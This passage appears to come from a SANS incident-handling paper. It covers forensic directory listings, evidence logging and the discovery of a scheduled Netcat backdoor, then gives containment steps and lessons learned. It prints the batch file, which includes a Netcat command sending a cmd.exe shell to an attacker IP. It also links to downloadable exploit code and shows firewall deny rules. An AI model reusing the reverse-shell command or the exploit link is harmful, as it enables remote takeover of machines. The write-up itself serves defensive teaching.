<td>05/02/2004 09:22a &lt;DIR&gt; application data</td>
</tr>
<tr>
<td>05/02/2004 09:16a &lt;DIR&gt; local settings</td>
</tr>
<tr>
<td>05/02/2004 09:22a &lt;DIR&gt; nethood</td>
</tr>
<tr>
<td>05/02/2004 09:22a &lt;DIR&gt; printhood</td>
</tr>
<tr>
<td>05/02/2004 10:00a &lt;DIR&gt; recent</td>
</tr>
<tr>
<td>05/02/2004 09:22a &lt;DIR&gt; sendto</td>
</tr>
<tr>
<td>05/02/2004 09:22a &lt;DIR&gt; templates</td>
</tr>
<tr>
<td>05/02/2004 10:02a ntuser.dat</td>
</tr>
<tr>
<td>05/02/2004 10:02a ntuser.dat.log</td>
</tr>
<tr>
<td>05/02/2004 12:28a ntuser.ini</td>
</tr>
<tr>
<td>3 File(s) 251,060 bytes</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Directory of C:\Documents and Settings\ftest\Application Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>05/02/2004 09:22a &lt;DIR&gt; ..</td>
</tr>
<tr>
<td>05/02/2004 09:22a &lt;DIR&gt; ..</td>
</tr>
<tr>
<td>0 File(s) 0 bytes</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Directory of C:\Documents and Settings\ftest\Application Data\Microsoft\Internet Explorer</th>
</tr>
</thead>
<tbody>
<tr>
<td>05/02/2004 12:10a desktop.htm 2,656 bytes</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Directory of C:\Documents and Settings\ftest\Application Data\Microsoft\Protect\S-1-5-21-725345543-688789844-1343024091-1005</th>
</tr>
</thead>
<tbody>
<tr>
<td>05/02/2004 09:21a 456 4109fe40-1139-4391-863f-7f3c1c2f58d7 24 preferred 480 bytes</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Directory of C:\Documents and Settings\ftest\Favorites</th>
</tr>
</thead>
<tbody>
<tr>
<td>05/02/2004 09:15a desktop.ini 83 bytes</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Directory of C:\Documents and Settings\ftest\Local Settings</th>
</tr>
</thead>
<tbody>
<tr>
<td>05/02/2004 09:16a &lt;DIR&gt; ..</td>
</tr>
<tr>
<td>05/02/2004 09:16a &lt;DIR&gt; ..</td>
</tr>
<tr>
<td>05/02/2004 09:22a &lt;DIR&gt; application data</td>
</tr>
<tr>
<td>0 File(s) 0 bytes</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Directory of C:\Documents and Settings\ftest\Local Settings\Application Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>05/02/2004 09:22a &lt;DIR&gt; ..</td>
</tr>
<tr>
<td>05/02/2004 09:22a &lt;DIR&gt; ..</td>
</tr>
<tr>
<td>0 File(s) 0 bytes</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Directory of C:\Documents and Settings\ftest\Local Settings\Application Data\Microsoft\Windows</th>
</tr>
</thead>
<tbody>
<tr>
<td>05/02/2004 12:28a usrclass.dat 8,192 bytes</td>
</tr>
<tr>
<td>04/30/2004 09:45p usrclass.dat.log 1,024 bytes</td>
</tr>
<tr>
<td>2 File(s) 9,216 bytes</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Directory of C:\Documents and Settings\ftest\Local Settings\History</th>
</tr>
</thead>
</table>
Directory of C:\Program Files\Internet Explorer\Uninstall Information

05/02/2004 09:22a <DIR> .
05/02/2004 09:22a <DIR> ..
04/19/2004 02:29p ieex.dat
04/19/2004 02:29p 333 ieex.ini
04/19/2004 02:29p 1,149 iereadme.dat
04/19/2004 02:29p 282 iereadme.ini
4 File(s) 1,764 bytes

Directory of C:\Program Files\Uninstall Information\IE UserData NT

05/02/2004 09:22a <DIR> .
05/02/2004 09:22a <DIR> ..
04/30/2004 08:45p 328 ie userdata nt.ini
04/19/2004 02:36p 395 ie userdata nt.dat
2 File(s) 723 bytes

Directory of C:\Program Files\Uninstall Information\OutlookExpress

05/02/2004 09:22a <DIR> .
05/02/2004 09:22a <DIR> ..
04/19/2004 02:29p 4,774,381 outlookexpress.dat
04/19/2004 02:29p 8,566 outlookexpress.ini
2 File(s) 4,782,947 bytes

Directory of C:\Program Files\WindowsUpdate

05/02/2004 09:00a <DIR> .
05/02/2004 09:00a <DIR> ..
0 File(s) 0 bytes

Directory of C:\Program Files\x

05/02/2004 09:22a <DIR> .
05/02/2004 09:22a <DIR> ..
0 File(s) 0 bytes

Directory of C:\RECYCLER

05/02/2004 09:22a <DIR> .
05/02/2004 09:22a <DIR> ..
05/02/2004 09:09a <DIR> s-1-5-21-725345543-688789844-1343024091-1005
05/02/2004 09:22a <DIR> s-1-5-21-725345543-688789844-1343024091-500
0 File(s) 0 bytes

Directory of C:\RECYCLER:S-1-5-21-725345543-688789844-1343024091-1005

05/02/2004 09:09a <DIR> .
05/02/2004 09:09a <DIR> ..
05/02/2004 12:27a 65 desktop.ini
05/02/2004 12:28a 20 info2
2 File(s) 85 bytes

Directory of C:\RECYCLER:S-1-5-21-725345543-688789844-1343024091-500

05/02/2004 09:22a <DIR> .
05/02/2004 09:22a <DIR> ..
04/30/2004 10:16p 65 desktop.ini
04/30/2004 11:26p 20 info2
2 File(s) 85 bytes
Directory of C:\WINNT
05/02/2004 09:22a <DIR> $ntservicepackuninstall$
05/02/2004 09:22a <DIR> inf
05/02/2004 09:10a <DIR> installer
05/02/2004 09:22a <DIR> msdownltmp
05/02/2004 09:22a <DIR> pif
05/02/2004 09:22a 271 desktop.ini
05/02/2004 09:22a 21,692 folder.htm
05/02/2004 09:22a 78,716 lanma256.bmp
05/02/2004 09:22a 78,736 lanmannt.bmp
05/02/2004 09:09a 831,580 shelliconcache
5 File(s) 1,010,995 bytes

Directory of C:\WINNT\$ntServicePackUninstall$
05/02/2004 09:22a <DIR> .
05/02/2004 09:22a <DIR>..

Directory of C:\WINNT\Downloaded Program Files
05/02/2004 12:08a 65 desktop.ini
1 File(s) 65 bytes

Directory of C:\WINNT\Fonts
04/19/2004 12:48p 10,976 8514fix.fon
04/19/2004 12:48p 12,288 8514oem.fon
04/19/2004 12:48p 9,280 8514sys.fon
04/19/2004 12:48p 36,672 app850.fon
04/19/2004 12:48p 6,352 cga40850.fon
04/19/2004 12:48p 6,336 cga40woa.fon
04/19/2004 12:48p 4,320 cga80850.fon
05/02/2004 09:00a 4,304 cga80woa.fon
05/02/2004 09:00a 23,408 coure.fon
04/19/2004 12:48p 31,712 courf.fon
04/25/2004 12:41a 67 desktop.ini
05/02/2004 09:00a 36,656 dosapp.fon
04/19/2004 12:48p 8,384 ega40850.fon
05/02/2004 09:00a 8,368 ega40woa.fon
04/19/2004 12:48p 5,328 ega80850.fon
05/02/2004 09:00a 5,312 ega80woa.fon
05/02/2004 09:00a 24,480 mariett.ttf
05/02/2004 09:00a 57,936 serife.fon
04/19/2004 12:48p 81,728 serif.fon
05/02/2004 09:00a 26,112 smallf.fon
04/19/2004 12:48p 21,504 smallf.fon
05/02/2004 09:00a 64,666 sserife.fon
04/19/2004 12:48p 89,856 sseriff.fon
05/02/2004 09:00a 56,336 symbole.fon
04/19/2004 12:48p 5,232 vga850.fon
04/19/2004 12:48p 5,184 vga860.fon
04/19/2004 12:48p 5,200 vga863.fon
04/19/2004 12:48p 5,184 vga865.fon
05/02/2004 09:00a 5,360 vgafix.fon
05/02/2004 09:00a 5,168 vgaoem.fon
05/02/2004 09:00a 7,280 vgasys.fon
31 File(s) 670,979 bytes

Directory of C:\WINNT\inf
05/02/2004 09:22a <DIR> .
05/02/2004 09:22a <DIR>..

Directory of C:\WINNT\installer
05/02/2004 09:10a <DIR> .
<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Action</th>
<th>Directory</th>
<th>Files</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>05/02/2004</td>
<td>09:10a</td>
<td>&lt;DIR&gt;</td>
<td>C:\WINNT\msdowlnld.tmp</td>
<td>0</td>
<td>0 bytes</td>
</tr>
<tr>
<td>05/02/2004</td>
<td>09:22a</td>
<td>&lt;DIR&gt;</td>
<td>C:\WINNT\Offline Web Pages</td>
<td>0</td>
<td>0 bytes</td>
</tr>
<tr>
<td>04/30/2004</td>
<td>08:45p</td>
<td></td>
<td>C:\WINNT\Offline Web Pages\desktop.ini</td>
<td>1</td>
<td>65 bytes</td>
</tr>
<tr>
<td>05/02/2004</td>
<td>09:00a</td>
<td>&lt;DIR&gt;</td>
<td>C:\WINNT\PIF</td>
<td>0</td>
<td>0 bytes</td>
</tr>
<tr>
<td>05/02/2004</td>
<td>09:00a</td>
<td>&lt;DIR&gt;</td>
<td>C:\WINNT\repair</td>
<td>0</td>
<td>0 bytes</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:49p</td>
<td></td>
<td>C:\WINNT\repair\ntuser.dat</td>
<td>1</td>
<td>122,880 bytes</td>
</tr>
<tr>
<td>05/02/2004</td>
<td>09:00a</td>
<td>&lt;DIR&gt;</td>
<td>C:\WINNT\security\templates</td>
<td>0</td>
<td>0 bytes</td>
</tr>
<tr>
<td>05/02/2004</td>
<td>09:00a</td>
<td>&lt;DIR&gt;</td>
<td>C:\WINNT\security\templates\policies</td>
<td>0</td>
<td>0 bytes</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:50p</td>
<td></td>
<td>C:\WINNT\system32\config</td>
<td>7</td>
<td>6,144 bytes</td>
</tr>
<tr>
<td>05/02/2004</td>
<td>09:22a</td>
<td>&lt;DIR&gt;</td>
<td>C:\WINNT\system32\dllcache</td>
<td>2</td>
<td>21,963 bytes</td>
</tr>
<tr>
<td>05/02/2004</td>
<td>09:22a</td>
<td>&lt;DIR&gt;</td>
<td>C:\WINNT\system32\GroupPolicy</td>
<td>0</td>
<td>0 bytes</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:52p</td>
<td></td>
<td>C:\WINNT\system32\Microsoft\Protect\S-1-5-18</td>
<td>0</td>
<td>0 bytes</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, Author retains full rights.
<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Command Line</th>
</tr>
</thead>
<tbody>
<tr>
<td>04/19/2004</td>
<td>12:52p</td>
<td>842 bullet.gif</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:52p</td>
<td>90,056 classic.bmp</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:52p</td>
<td>634 classic.htm</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:52p</td>
<td>4,659 controlp.htm</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:52p</td>
<td>5,296 default.htm</td>
</tr>
<tr>
<td>05/02/2004</td>
<td>12:39a</td>
<td>830 deskmmov.htm</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:52p</td>
<td>8,898 dialup.htm</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:52p</td>
<td>2,642 exclam.htm</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:52p</td>
<td>31,080 folder.bmp</td>
</tr>
<tr>
<td>05/02/2004</td>
<td>12:07a</td>
<td>3,210 folder.htm</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:52p</td>
<td>19,355 farsult.htm</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>03:31p</td>
<td>11,008 ftp.htm</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:52p</td>
<td>16,981 imgview.htm</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:52p</td>
<td>56 mincold.gif</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:52p</td>
<td>77 minhot.gif</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:52p</td>
<td>13,280 nethood.htm</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:52p</td>
<td>59 pluscold.gif</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:52p</td>
<td>80 plushot.gif</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:52p</td>
<td>31,080 preview.bmp</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:52p</td>
<td>13,798 printers.htm</td>
</tr>
<tr>
<td>05/02/2004</td>
<td>12:07a</td>
<td>11,149 recycle.htm</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:52p</td>
<td>2,913 safemode.htm</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:52p</td>
<td>6,489 schedule.htm</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:52p</td>
<td>28,565 standard.htm</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:52p</td>
<td>31,080 starter.bmp</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:52p</td>
<td>1,024 starter.htm</td>
</tr>
<tr>
<td>05/02/2004</td>
<td>12:07a</td>
<td>1,316 webview.css</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:52p</td>
<td>31,438 webview.js</td>
</tr>
<tr>
<td>05/02/2004</td>
<td>12:07a</td>
<td>8,248 wvleft.bmp</td>
</tr>
<tr>
<td>05/02/2004</td>
<td>12:07a</td>
<td>54 wvline.gif</td>
</tr>
<tr>
<td>04/30/2004</td>
<td>08:49p</td>
<td>14,865 wvlogo.gif</td>
</tr>
<tr>
<td>04/19/2004</td>
<td>12:52p</td>
<td>12,403 wvnet.gif</td>
</tr>
</tbody>
</table>

Total Files Listed:
167 File(s) 527,949,502 bytes
160 Dir(s) 4,733,644,800 bytes free

AT scheduler list
Status ID Day Time Command Line
1 Each M T W Th F S Su 7:00 PM "c:\program files\x.bat-nc-s.bat"

END TIME

10:02a
Sun 05/02/2004
Peter performs a `DIR` command (dir "c:\program files\x") to get a file listing of the hidden {X} directory. **Fig. 8** shows the directory listing of {X}. Peter quickly realizes that the files contained within the hidden {X} directory look like an attacker tool kit. It's obvious that these files where put there with malicious intent. Peter prints the directory listing out and logs it in the evidence notebook as item # 6.

**ITEM #: 6**

**TYPE OF EVIDENCE:** Printed document

**DESCRIPTION:**

Directory listing of {c:\program files\x} directory. This directory was found on Ftest User's workstation with the hidden attribute set. The file listing appears to be an attackers tool kit.

**Fig. 8**

Peter performs a `TYPE` command (type "c:\program files\x\bat-nc-s.bat") to view the contents of the suspicious batch file that is scheduled for everyday at 7:00 P.M. **Fig. 9** shows the output of the TYPE command. Examining the batch file bat-nc-s.bat reveals that a Netcat backdoor is shoveling the shell to IP address 555.555.555.555 on
TCP port 80. Peter prints the output of the TYPE command and logs it as item # 7 in the evidence log notebook.

**ITEM #: 9**

**TYPE OF EVIDENCE:** Printed document

**DESCRIPTION:**

Contents of the suspicious batch file (bat-nc-s.bat) located on Ftest User's workstation in directory (c:\program files\x). This batch file is scheduled to run on Ftest User's workstation every day at 7:00 P.M. This batch file runs a Netcat backdoor program that is shoveling the shell to IP address 555.555.555.555 TCP port 80.

**Fig. 9**

```
15:04:47.70 D:\win32> type "c:\program files\x\bat-nc-s.bat"
Echo off
set hacker=192.168.2.3
cd "\program files\x"
nc -d %hacker% 80 -e cmd.exe
set hacker=
exit /b
15:04:49.70 D:\win32>
```

Peter discusses the findings with the rest of the team members. The team decides that it is going to be difficult to quickly track down each infected workstation manually. They decide to block all outgoing access to the suspicious IP address 555.555.555.555. To do this Peter adds the following lines to the Cisco Pix 520 Ver. 6.2(2) firewall configuration.

```
outbound 300 deny 555.555.555.555 255.255.255.255 0 tcp
outbound 300 deny 555.555.555.555 255.255.255.255 0 udp
apply (inside) 300 outgoing_dest
```

These commands setup an outbound access list on the Cisco Pix firewall. The commands tell the Cisco Pix to look for any outgoing traffic with the destination IP address set to 555.555.555.555 on any TCP or UDP port.

We are blocking outgoing connections to this IP address since the malicious backdoor is originating the connection from the inside to the outside. The firewall blocks all incoming connections that are not initiated by requests from the inside, so the attacker can not initiate a connection from the outside.
Eradiation & Recovery

The team decides it’s time to eradicate the malware for Ftest User’s system. The Assistant Computer Systems Administrator is assigned the task of deleting the email message from Ftest User’s inbox and verifying the reset of the inbox contents. Peter is tasked with rebuilding Ftest User’s workstation by first formatting the hard disk drive and reinstalling the OS from the recovery CD’s. Then Peter will start the task of re-installing the OS patches and updates along with the applications. The Operations Supervisor is tasked with notifying all employees via a group voice mail explaining the situation along with the description of the spoofed email message. Operations Supervisor tells the employees to contact him immediately if they have seen or received the spoof email message.

The team agrees that the spoofed email message is the cause of the malware since the IP address in the message source matches the IP address in the Netcat scheduling batch file that was scheduled for everyday at 7:00 P.M. The log book, evidence notebook, and all the evidence is given to the Operations Supervisor to keep in a safe place. At this time it’s unclear if the attacker did any damage or if they stole any information. The team agrees that other expertise will be needed.

Lessons Learned

This incident was handled by an emergency action plan. Which in this case, the organization had no real documented plan. No policies or procedures other than a verbal naming of the incident handling team members. The team members did have expertise to handle the incident, but were slowed down considerably by not having a well laid out plan. It was learned during this incident that better procedures and planning are needed, so that next time they can respond without the need for thinking up a plan on the fly. During an incident, time is precious. A good incident handler will have a well laid out plan so that he can perform the tasks quickly and efficiently.

Analysis of this incident shows that a spoofed email message was sent to an employee of the organization pretending to be from the Computer System Administrator. This is an exploit of trust, a social engineering technique. Contained within the email message was a link that pretended to be a support website that the Computer System Administrator wanted the user to visit. This is another exploit of trust. When the user clicked on the link to the website the system was exploited by the ITS/MHTML Protocol Handler vulnerability. The exploit gave the attacker access to the system with the privilege of the user signed on to the system. The attacker maintains access to the system by scheduling the backdoor to run everyday at 7:00 P.M.

The backdoor was able to circumvent the firewall by initiating the connection from the inside network using TCP port 80. Since the firewall allows connections from the inside network to the outside Internet over TCP port 80 the backdoor connection will travel through the firewall. TCP port 80 is normally used for http protocol traffic or web browsing. The firewall is using packet filtering, so the only way to prevent the backdoor
traffic is to block packets from the inside network going to the outside network or Internet on TCP port 80. This isn’t a solution since the organization needs access to the Internet using an http web browser. A possible solution to this would be to install a proxy firewall that works at the application layer. Since the proxy firewall would be operating at the application layer it would have knowledge of the http protocol headers and packet formatting. The backdoor will lack the http protocol packet formatting and the proxy firewall should drop the packet there by preventing the backdoor for connecting to the outside network.

Short Term Solution:

Immediate deployment of the Cumulative Security Update for Outlook Express (837009), Microsoft security bulletin MS04-013, should be done on all Microsoft workstations and servers. This cumulative security update will patch the OS so that it is no longer vulnerable to the MHTML protocol handler vulnerability.

Long Term Solution:

In order to prevent similar incidents in the future an alternate form or method of communicating IT related information should be deployed, such as a separate email system or public key encryption. With the alternate communication method the idea would be to have a trusted system in which users can rely on the authenticity of the information they are given.

Employees should be given security awareness training to inform employees of security threats on at least an annual basis. A method for new employee’s to receive security awareness training as part of their new employee orientation should be developed.
References

Further research material on the ITS/MHTML Protocol Handler Vulnerability can be found at the following URL’s:

BUGTRAQ: BID: 9658  
LINK:  http://www.securityfocus.com/bid/9658/info

CVE: CAN-2004-0380  
LINK:  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0380

CERT: VU#323070  
LINK:  http://www.kb.cert.org/vuls/id/323070

CERT: TA04-099A  
LINK:  http://www.us-cert.gov/cas/techalerts/TA04-099A.html

MS-Bulletin: MS04-013  

About Cross Site Scripting  

Introduction to URL Security Zones  

MIME Encapsulation of Aggregate Documents  

The exploit code can be downloaded from the following site:  

!!! CAUTION !!! Following this link will run the exploit. It was harmless, replaces notepad.exe. Use at your own RISK !!!  
http://www.malware.com/junk-de-lux.html
1 Jelmer. “junk-de-lux”. URL: http://www.malware.com/junk-de-lux.html


5 SOPHOS. “Troj/Psyme-R”. URL: http://www.sophos.com/virusinfo/analyses/trojpsymer.html

6 US-CERT. “Vulnerability Note VU#323070”. URL: http://www.kb.cert.org/vuls/id/323070

7 US-CERT. “Vulnerability Note VU#323070”. URL: http://www.kb.cert.org/vuls/id/323070

8 US-CERT. “Vulnerability Note VU#323070”. URL: http://www.kb.cert.org/vuls/id/323070

9 McIntyre, Tom. “eLiTeWrap 1.04”. URL: http://www.holodeck.f9.co.uk


13 McIntyre, Tom. “eLiTeWrap 1.04”. URL: http://www.holodeck.f9.co.uk


15 “Google”. URL: http://www.google.com/

16 OblivionBlack. “Shadow Mailer 1.2”. URL: http://packetstormsecurity.org/Win/Shadowmailer1.2.zip


19 Symantec. “Ghost v7.5”.

20 Melior, Inc. “F.I.R.E CD”.
# Upcoming SANS Penetration Testing

<table>
<thead>
<tr>
<th>Event Name</th>
<th>Location</th>
<th>Dates</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS Northern VA - Reston Spring 2020</td>
<td>Reston, VA</td>
<td>Mar 02, 2020 - Mar 07, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Secure Japan 2020</td>
<td>Tokyo, Japan</td>
<td>Mar 02, 2020 - Mar 14, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Munich March 2020</td>
<td>Munich, Germany</td>
<td>Mar 02, 2020 - Mar 07, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Mentor Session @ work- SEC542</td>
<td>Oklahoma City, OK</td>
<td>Mar 03, 2020 - Apr 02, 2020</td>
<td>Mentor</td>
</tr>
<tr>
<td>SANS St. Louis 2020</td>
<td>St. Louis, MO</td>
<td>Mar 08, 2020 - Mar 13, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Prague March 2020</td>
<td>Prague, Czech Republic</td>
<td>Mar 09, 2020 - Mar 14, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Dallas 2020 - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling</td>
<td>Dallas, TX</td>
<td>Mar 09, 2020 - Mar 14, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>SANS Dallas 2020</td>
<td>Dallas, TX</td>
<td>Mar 09, 2020 - Mar 14, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Doha March 2020</td>
<td>Doha, Qatar</td>
<td>Mar 14, 2020 - Mar 19, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Norfolk 2020</td>
<td>Norfolk, VA</td>
<td>Mar 16, 2020 - Mar 21, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS San Francisco Spring 2020</td>
<td>San Francisco, CA</td>
<td>Mar 16, 2020 - Mar 27, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Kuwait March 2020</td>
<td>Salmiya, Kuwait</td>
<td>Mar 21, 2020 - Mar 26, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Community SANS Austin SEC504 @ CISCO</td>
<td>Austin, TX</td>
<td>Mar 23, 2020 - Mar 28, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>Community SANS Ottawa SEC560</td>
<td>Ottawa, ON</td>
<td>Mar 30, 2020 - Apr 04, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>SANS Frankfurt March 2020</td>
<td>Frankfurt, Germany</td>
<td>Mar 30, 2020 - Apr 04, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Mentor Session - SEC504</td>
<td>Austin, TX</td>
<td>Apr 01, 2020 - Jun 03, 2020</td>
<td>Mentor</td>
</tr>
<tr>
<td>Mentor Session - SEC504</td>
<td>Denver, CO</td>
<td>Apr 03, 2020 - Apr 24, 2020</td>
<td>Mentor</td>
</tr>
<tr>
<td>SANS 2020</td>
<td>Orlando, FL</td>
<td>Apr 03, 2020 - Apr 10, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Riyadh April 2020</td>
<td>Riyadh, Kingdom Of Saudi Arabia</td>
<td>Apr 04, 2020 - Apr 16, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS 2020 - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling</td>
<td>Orlando, FL</td>
<td>Apr 05, 2020 - Apr 10, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Mentor Session - SEC504</td>
<td>Chicago, IL</td>
<td>Apr 07, 2020 - May 19, 2020</td>
<td>Mentor</td>
</tr>
</tbody>
</table>